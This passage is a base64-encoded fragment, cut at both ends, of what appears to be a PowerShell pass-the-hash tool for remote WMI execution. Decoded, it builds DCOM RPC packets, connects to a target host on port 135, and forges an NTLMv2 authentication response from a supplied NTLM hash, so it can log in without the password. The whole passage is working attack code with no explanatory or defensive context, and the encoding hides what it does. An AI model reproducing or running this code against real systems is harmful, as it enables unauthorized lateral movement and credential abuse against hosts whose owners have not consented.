klBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NjbVJlcXVlc3RJbmZvTlVMTFB0ciIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTY21SZXF1ZXN0SW5mb1JlbW90ZVJlcXVlc3RQdHJSZWZlcmVudElEIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMiwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NjbVJlcXVlc3RJbmZvUmVtb3RlUmVxdWVzdFB0clJlbW90ZVJlcXVlc3RDbGllbnRJbXBlcnNvbmF0aW9uTGV2ZWwiLFtCeXRlW11dKDB4MDIsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2NtUmVxdWVzdEluZm9SZW1vdGVSZXF1ZXN0UHRyUmVtb3RlUmVxdWVzdE51bVByb3RvY29sU2VxdWVuY2VzIixbQnl0ZVtdXSgweDAxLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2NtUmVxdWVzdEluZm9SZW1vdGVSZXF1ZXN0UHRyUmVtb3RlUmVxdWVzdFVua25vd24iLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTY21SZXF1ZXN0SW5mb1JlbW90ZVJlcXVlc3RQdHJSZW1vdGVSZXF1ZXN0UHJvdG9jb2xTZXFzQXJyYXlQdHJSZWZlcmVudElEIixbQnl0ZVtdXSgweDA0LDB4MDAsMHgwMiwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NjbVJlcXVlc3RJbmZvUmVtb3RlUmVxdWVzdFB0clJlbW90ZVJlcXVlc3RQcm90b2NvbFNlcXNBcnJheVB0ck1heENvdW50IixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NjbVJlcXVlc3RJbmZvUmVtb3RlUmVxdWVzdFB0clJlbW90ZVJlcXVlc3RQcm90b2NvbFNlcXNBcnJheVB0clByb3RvY29sU2VxIixbQnl0ZVtdXSgweDA3LDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2NtUmVxdWVzdEluZm9VbnVzZWRCdWZmZXIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZQ0KfQ0KDQpmdW5jdGlvbiBEYXRhTGVuZ3RoMg0Kew0KICAgIHBhcmFtIChbSW50XSRsZW5ndGhfc3RhcnQsW0J5dGVbXV0kc3RyaW5nX2V4dHJhY3RfZGF0YSkNCg0KICAgICRzdHJpbmdfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1VJbnQxNigkc3RyaW5nX2V4dHJhY3RfZGF0YVskbGVuZ3RoX3N0YXJ0Li4oJGxlbmd0aF9zdGFydCArIDEpXSwwKQ0KDQogICAgcmV0dXJuICRzdHJpbmdfbGVuZ3RoDQp9DQoNCmlmKCRoYXNoIC1saWtlICIqOioiKQ0Kew0KICAgICRoYXNoID0gJGhhc2guU3ViU3RyaW5nKCgkaGFzaC5JbmRleE9mKCI6IikgKyAxKSwzMikNCn0NCg0KaWYoJERvbWFpbikNCnsNCiAgICAkb3V0cHV0X3VzZXJuYW1lID0gJERvbWFpbiArICJcIiArICRVc2VybmFtZQ0KfQ0KZWxzZQ0Kew0KICAgICRvdXRwdXRfdXNlcm5hbWUgPSAkVXNlcm5hbWUNCn0NCg0KaWYoJFRhcmdldCAtZXEgJ2xvY2FsaG9zdCcpDQp7DQogICAgJFRhcmdldCA9ICIxMjcuMC4wLjEiDQp9DQoNCnRyeQ0Kew0KICAgICR0YXJnZXRfdHlwZSA9IFtJUEFkZHJlc3NdJFRhcmdldA0KICAgICR0YXJnZXRfc2hvcnQgPSAkdGFyZ2V0X2xvbmcgPSAkVGFyZ2V0DQp9DQpjYXRjaA0Kew0KICAgICR0YXJnZXRfbG9uZyA9ICRUYXJnZXQNCg0KICAgIGlmKCRUYXJnZXQgLWxpa2UgIiouKiIpDQogICAgew0KICAgICAgICAkdGFyZ2V0X3Nob3J0X2luZGV4ID0gJFRhcmdldC5JbmRleE9mKCIuIikNCiAgICAgICAgJHRhcmdldF9zaG9ydCA9ICRUYXJnZXQuU3Vic3RyaW5nKDAsJHRhcmdldF9zaG9ydF9pbmRleCkNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgJHRhcmdldF9zaG9ydCA9ICRUYXJnZXQNCiAgICB9DQoNCn0NCg0KJHByb2Nlc3NfSUQgPSBbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3NdOjpHZXRDdXJyZW50UHJvY2VzcygpIHwgU2VsZWN0LU9iamVjdCAtZXhwYW5kIGlkDQokcHJvY2Vzc19JRCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcHJvY2Vzc19JRCkpDQokcHJvY2Vzc19JRCA9ICRwcm9jZXNzX0lEIC1yZXBsYWNlICItMDAtMDAiLCIiDQpbQnl0ZVtdXSRwcm9jZXNzX0lEX2J5dGVzID0gJHByb2Nlc3NfSUQuU3BsaXQoIi0iKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KV3JpdGUtVmVyYm9zZSAiQ29ubmVjdGluZyB0byAkVGFyZ2V0YDoxMzUiDQokV01JX2NsaWVudF9pbml0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50DQokV01JX2NsaWVudF9pbml0LkNsaWVudC5SZWNlaXZlVGltZW91dCA9IDMwMDAwDQoNCnRyeQ0Kew0KICAgICRXTUlfY2xpZW50X2luaXQuQ29ubmVjdCgkVGFyZ2V0LCIxMzUiKQ0KfQ0KY2F0Y2gNCnsNCiAgICBXcml0ZS1PdXRwdXQgIiRUYXJnZXQgZGlkIG5vdCByZXNwb25kIg0KfQ0KDQppZigkV01JX2NsaWVudF9pbml0LkNvbm5lY3RlZCkNCnsNCiAgICAkV01JX2NsaWVudF9zdHJlYW1faW5pdCA9ICRXTUlfY2xpZW50X2luaXQuR2V0U3RyZWFtKCkNCiAgICAkV01JX2NsaWVudF9yZWNlaXZlID0gTmV3LU9iamVjdCBTeXN0ZW0uQnl0ZVtdIDIwNDgNCiAgICAkUlBDX1VVSUQgPSAweGM0LDB4ZmUsMHhmYywweDk5LDB4NjAsMHg1MiwweDFiLDB4MTAsMHhiYiwweGNiLDB4MDAsMHhhYSwweDAwLDB4MjEsMHgzNCwweDdhDQogICAgJHBhY2tldF9SUEMgPSBHZXQtUGFja2V0UlBDQmluZCAyIDB4ZDAsMHgxNiAweDAyIDB4MDAsMHgwMCAkUlBDX1VVSUQgMHgwMCwweDAwDQogICAgJHBhY2tldF9SUENbIlJQQ0JpbmRfRnJhZ0xlbmd0aCJdID0gMHg3NCwweDAwICAgIA0KICAgICRSUEMgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQw0KICAgICRXTUlfY2xpZW50X3NlbmQgPSAkUlBDDQogICAgJFdNSV9jbGllbnRfc3RyZWFtX2luaXQuV3JpdGUoJFdNSV9jbGllbnRfc2VuZCwwLCRXTUlfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgJFdNSV9jbGllbnRfc3RyZWFtX2luaXQuRmx1c2goKSAgICANCiAgICAkV01JX2NsaWVudF9zdHJlYW1faW5pdC5SZWFkKCRXTUlfY2xpZW50X3JlY2VpdmUsMCwkV01JX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICRhc3NvY19ncm91cCA9ICRXTUlfY2xpZW50X3JlY2VpdmVbMjAuLjIzXQ0KICAgICRwYWNrZXRfUlBDID0gR2V0LVBhY2tldFJQQ1JlcXVlc3QgMHgwMyAwIDAgMCAweDAyLDB4MDAsMHgwMCwweDAwIDB4MDAsMHgwMCAweDA1LDB4MDANCiAgICAkUlBDID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUEMNCiAgICAkV01JX2NsaWVudF9zZW5kID0gJFJQQw0KICAgICRXTUlfY2xpZW50X3N0cmVhbV9pbml0LldyaXRlKCRXTUlfY2xpZW50X3NlbmQsMCwkV01JX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICRXTUlfY2xpZW50X3N0cmVhbV9pbml0LkZsdXNoKCkgICAgDQogICAgJFdNSV9jbGllbnRfc3RyZWFtX2luaXQuUmVhZCgkV01JX2NsaWVudF9yZWNlaXZlLDAsJFdNSV9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAkV01JX2hvc3RuYW1lX3VuaWNvZGUgPSAkV01JX2NsaWVudF9yZWNlaXZlWzQyLi4kV01JX2NsaWVudF9yZWNlaXZlLkxlbmd0aF0NCiAgICAkV01JX2hvc3RuYW1lID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkV01JX2hvc3RuYW1lX3VuaWNvZGUpDQogICAgJFdNSV9ob3N0bmFtZV9pbmRleCA9ICRXTUlfaG9zdG5hbWUuSW5kZXhPZigiLTAwLTAwLTAwIikNCiAgICAkV01JX2hvc3RuYW1lID0gJFdNSV9ob3N0bmFtZS5TdWJTdHJpbmcoMCwkV01JX2hvc3RuYW1lX2luZGV4KQ0KICAgICRXTUlfaG9zdG5hbWUgPSAkV01JX2hvc3RuYW1lIC1yZXBsYWNlICItMDAiLCIiDQogICAgJFdNSV9ob3N0bmFtZSA9ICRXTUlfaG9zdG5hbWUuU3BsaXQoIi0iKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KICAgICRXTUlfaG9zdG5hbWUgPSBOZXctT2JqZWN0IFN5c3RlbS5TdHJpbmcgKCRXTUlfaG9zdG5hbWUsMCwkV01JX2hvc3RuYW1lLkxlbmd0aCkNCg0KICAgIGlmKCR0YXJnZXRfc2hvcnQgLWNuZSAkV01JX2hvc3RuYW1lKQ0KICAgIHsNCiAgICAgICAgV3JpdGUtVmVyYm9zZSAiV01JIHJlcG9ydHMgdGFyZ2V0IGhvc3RuYW1lIGFzICRXTUlfaG9zdG5hbWUiDQogICAgICAgICR0YXJnZXRfc2hvcnQgPSAkV01JX2hvc3RuYW1lDQogICAgfQ0KDQogICAgJFdNSV9jbGllbnRfaW5pdC5DbG9zZSgpDQogICAgJFdNSV9jbGllbnRfc3RyZWFtX2luaXQuQ2xvc2UoKQ0KICAgICRXTUlfY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50DQogICAgJFdNSV9jbGllbnQuQ2xpZW50LlJlY2VpdmVUaW1lb3V0ID0gMzAwMDANCg0KICAgIHRyeQ0KICAgIHsNCiAgICAgICAgJFdNSV9jbGllbnQuQ29ubmVjdCgkdGFyZ2V0X2xvbmcsIjEzNSIpDQogICAgfQ0KICAgIGNhdGNoDQogICAgew0KICAgICAgICBXcml0ZS1PdXRwdXQgIiR0YXJnZXRfbG9uZyBkaWQgbm90IHJlc3BvbmQiDQogICAgfQ0KDQogICAgaWYoJFdNSV9jbGllbnQuQ29ubmVjdGVkKQ0KICAgIHsNCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtID0gJFdNSV9jbGllbnQuR2V0U3RyZWFtKCkNCiAgICAgICAgJFJQQ19VVUlEID0gMHhhMCwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0Ng0KICAgICAgICAkcGFja2V0X1JQQyA9IEdldC1QYWNrZXRSUENCaW5kIDMgMHhkMCwweDE2IDB4MDEgMHgwMSwweDAwICRSUENfVVVJRCAweDAwLDB4MDANCiAgICAgICAgJHBhY2tldF9SUENbIlJQQ0JpbmRfRnJhZ0xlbmd0aCJdID0gMHg3OCwweDAwDQogICAgICAgICRwYWNrZXRfUlBDWyJSUENCaW5kX0F1dGhMZW5ndGgiXSA9IDB4MjgsMHgwMA0KICAgICAgICAkcGFja2V0X1JQQ1siUlBDQmluZF9OZWdvdGlhdGVGbGFncyJdID0gMHgwNywweDgyLDB4MDgsMHhhMg0KICAgICAgICAkUlBDID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUEMNCiAgICAgICAgJFdNSV9jbGllbnRfc2VuZCA9ICRSUEMNCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtLldyaXRlKCRXTUlfY2xpZW50X3NlbmQsMCwkV01JX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAkV01JX2NsaWVudF9zdHJlYW0uRmx1c2goKSAgICANCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtLlJlYWQoJFdNSV9jbGllbnRfcmVjZWl2ZSwwLCRXTUlfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICRhc3NvY19ncm91cCA9ICRXTUlfY2xpZW50X3JlY2VpdmVbMjAuLjIzXQ0KICAgICAgICAkV01JX05UTE1TU1AgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfY2xpZW50X3JlY2VpdmUpDQogICAgICAgICRXTUlfTlRMTVNTUCA9ICRXTUlfTlRMTVNTUCAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgJFdNSV9OVExNU1NQX2luZGV4ID0gJFdNSV9OVExNU1NQLkluZGV4T2YoIjRFNTQ0QzRENTM1MzUwMDAiKQ0KICAgICAgICAkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggPSAkV01JX05UTE1TU1BfaW5kZXggLyAyDQogICAgICAgICRXTUlfZG9tYWluX2xlbmd0aCA9IERhdGFMZW5ndGgyICgkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAxMikgJFdNSV9jbGllbnRfcmVjZWl2ZQ0KICAgICAgICAkV01JX3RhcmdldF9sZW5ndGggPSBEYXRhTGVuZ3RoMiAoJFdNSV9OVExNU1NQX2J5dGVzX2luZGV4ICsgNDApICRXTUlfY2xpZW50X3JlY2VpdmUNCiAgICAgICAgJFdNSV9zZXNzaW9uX0lEID0gJFdNSV9jbGllbnRfcmVjZWl2ZVs0NC4uNTFdDQogICAgICAgICRXTUlfTlRMTV9jaGFsbGVuZ2UgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAyNCkuLigkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAzMSldDQogICAgICAgICRXTUlfdGFyZ2V0X2RldGFpbHMgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyA1NiArICRXTUlfZG9tYWluX2xlbmd0aCkuLigkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyA1NSArICRXTUlfZG9tYWluX2xlbmd0aCArICRXTUlfdGFyZ2V0X2xlbmd0aCldDQogICAgICAgICRXTUlfdGFyZ2V0X3RpbWVfYnl0ZXMgPSAkV01JX3RhcmdldF9kZXRhaWxzWygkV01JX3RhcmdldF9kZXRhaWxzLkxlbmd0aCAtIDEyKS4uKCRXTUlfdGFyZ2V0X2RldGFpbHMuTGVuZ3RoIC0gNSldDQogICAgICAgICROVExNX2hhc2hfYnl0ZXMgPSAoJntmb3IgKCRpID0gMDskaSAtbHQgJGhhc2guTGVuZ3RoOyRpICs9IDIpeyRoYXNoLlN1YlN0cmluZygkaSwyKX19KSAtam9pbiAiLSINCiAgICAgICAgJE5UTE1faGFzaF9ieXRlcyA9ICROVExNX2hhc2hfYnl0ZXMuU3BsaXQoIi0iKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KICAgICAgICAkYXV0aF9ob3N0bmFtZSA9IChnZXQtY2hpbGRpdGVtIC1wYXRoIGVudjpjb21wdXRlcm5hbWUpLlZhbHVlDQogICAgICAgICRhdXRoX2hvc3RuYW1lX2J5dGVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkYXV0aF9ob3N0bmFtZSkNCiAgICAgICAgJGF1dGhfZG9tYWluID0gJERvbWFpbg0KICAgICAgICAkYXV0aF9kb21haW5fYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCRhdXRoX2RvbWFpbikNCiAgICAgICAgJGF1dGhfdXNlcm5hbWVfYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCR1c2VybmFtZSkNCiAgICAgICAgJGF1dGhfZG9tYWluX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCkNCiAgICAgICAgJGF1dGhfZG9tYWluX2xlbmd0aCA9ICRhdXRoX2RvbWFpbl9sZW5ndGhbMCwxXQ0KICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoKQ0KICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoID0gJGF1dGhfZG9tYWluX2xlbmd0aFswLDFdDQogICAgICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoKQ0KICAgICAgICAkYXV0aF91c2VybmFtZV9sZW5ndGggPSAkYXV0aF91c2VybmFtZV9sZW5ndGhbMCwxXQ0KICAgICAgICAkYXV0aF9ob3N0bmFtZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2hvc3RuYW1lX2J5dGVzLkxlbmd0aCkNCiAgICAgICAgJGF1dGhfaG9zdG5hbWVfbGVuZ3RoID0gJGF1dGhfaG9zdG5hbWVfbGVuZ3RoWzAsMV0NCiAgICAgICAgJGF1dGhfZG9tYWluX29mZnNldCA9IDB4NDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgJGF1dGhfdXNlcm5hbWVfb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgNjQpDQogICAgICAgICRhdXRoX2hvc3RuYW1lX29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArICRhdXRoX3VzZXJuYW1lX2J5dGVzLkxlbmd0aCArIDY0KQ0KICAgICAgICAkYXV0aF9MTV9vZmZzZXQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGggKyAkYXV0aF91c2VybmFtZV9ieXRlcy5MZW5ndGggKyAkYXV0aF9ob3N0bmFtZV9ieXRlcy5MZW5ndGggKyA2NCkNCiAgICAgICAgJGF1dGhfTlRMTV9vZmZzZXQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGggKyAkYXV0aF91c2VybmFtZV9ieXRlcy5MZW5ndGggKyAkYXV0aF9ob3N0bmFtZV9ieXRlcy5MZW5ndGggKyA4OCkNCiAgICAgICAgJEhNQUNfTUQ1ID0gTmV3LU9iamVjdCBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkhNQUNNRDUNCiAgICAgICAgJEhNQUNfTUQ1LmtleSA9ICROVExNX2hhc2hfYnl0ZXMNCiAgICAgICAgJHVzZXJuYW1lX2FuZF90YXJnZXQgPSAkdXNlcm5hbWUuVG9VcHBlcigpDQogICAgICAgICR1c2VybmFtZV9hbmRfdGFyZ2V0X2J5dGVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkdXNlcm5hbWVfYW5kX3RhcmdldCkNCiAgICAgICAgJHVzZXJuYW1lX2FuZF90YXJnZXRfYnl0ZXMgKz0gJGF1dGhfZG9tYWluX2J5dGVzDQogICAgICAgICROVExNdjJfaGFzaCA9ICRITUFDX01ENS5Db21wdXRlSGFzaCgkdXNlcm5hbWVfYW5kX3RhcmdldF9ieXRlcykNCiAgICAgICAgJGNsaWVudF9jaGFsbGVuZ2UgPSBbU3RyaW5nXSgxLi44IHwgRm9yRWFjaC1PYmplY3QgeyJ7MDpYMn0iIC1mIChHZXQtUmFuZG9tIC1NaW5pbXVtIDEgLU1heGltdW0gMjU1KX0pDQogICAgICAgICRjbGllbnRfY2hhbGxlbmdlX2J5dGVzID0gJGNsaWVudF9jaGFsbGVuZ2UuU3BsaXQoIiAiKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KDQogICAgICAgICRzZWN1cml0eV9ibG9iX2J5dGVzID0gMHgwMSwweDAxLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfdGFyZ2V0X3RpbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2xpZW50X2NoYWxsZW5nZV9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3RhcmdldF9kZXRhaWxzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMA0KDQogICAgICAgICRzZXJ2ZXJfY2hhbGxlbmdlX2FuZF9zZWN1cml0eV9ibG9iX2J5dGVzID0gJFdNSV9OVExNX2NoYWxsZW5nZSArICRzZWN1cml0eV9ibG9iX2J5dGVzDQogICAgICAgICRITUFDX01ENS5rZXkgPSAkTlRMTXYyX2hhc2gNCiAgICAgICAgJE5UTE12Ml9yZXNwb25zZSA9ICRITUFDX01ENS5Db21wdXRlSGFzaCgkc2VydmVyX2NoYWxsZW5nZV9hbmRfc2VjdXJpdHlfYmxvYl9ieXRlcykNCiAgICAgICAgJHNlc3Npb25fYmFzZV9rZXkgPSAkSE1BQ19NRDUuQ29tcHV0ZUhhc2goJE5UTE12Ml9yZXNwb25zZSkNCiAgICAgICAgJE5UTE12Ml9yZXNwb25zZSA9ICROVExNdjJfcmVzcG9uc2UgKyAkc2VjdXJpdHlfYmxvYl9ieXRlcw0KICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJE5UTE12Ml9yZXNwb25zZS5MZW5ndGgpDQogICAgICAgICROVExNdjJfcmVzcG9uc2VfbGVuZ3RoID0gJE5UTE12Ml9yZXNwb25zZV9sZW5ndGhbMCwxXQ0KICAgICAgICAkV01JX3Nlc3Npb25fa2V5X29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArICRhdXRoX3VzZXJuYW1lX2J5dGVzLkxlbmd0aCArICRhdXRoX2hvc3RuYW1lX2J5dGVzLkxlbmd0aCArICROVExNdjJfcmVzcG9uc2UuTGVuZ3RoICsgODgpDQogICAgICAgICRXTUlfc2Vzc2lvbl9rZXlfbGVuZ3RoID0gMHgwMCwweDAwDQogICAgICAgICRXTUlfbmVnb3RpYXRlX2ZsYWdzID0gMHgxNSwweDgyLDB4ODgsMHhhMg0KDQogICAgICAgICROVExNU1NQX3Jlc3BvbnNlID0gMHg0ZSwweDU0LDB4NGMsMHg0ZCwweDUzLDB4NTMsMHg1MCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAzLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDE4LDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MTgsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX0xNX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICROVExNdjJfcmVzcG9uc2VfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE5UTE12Ml9yZXNwb25zZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9OVExNX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2RvbWFpbl9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfZG9tYWluX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfc2Vzc2lvbl9rZXlfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9zZXNzaW9uX2tleV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3Nlc3Npb25fa2V5X29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfbmVnb3RpYXRlX2ZsYWdzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfZG9tYWluX2J5dGVzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfYn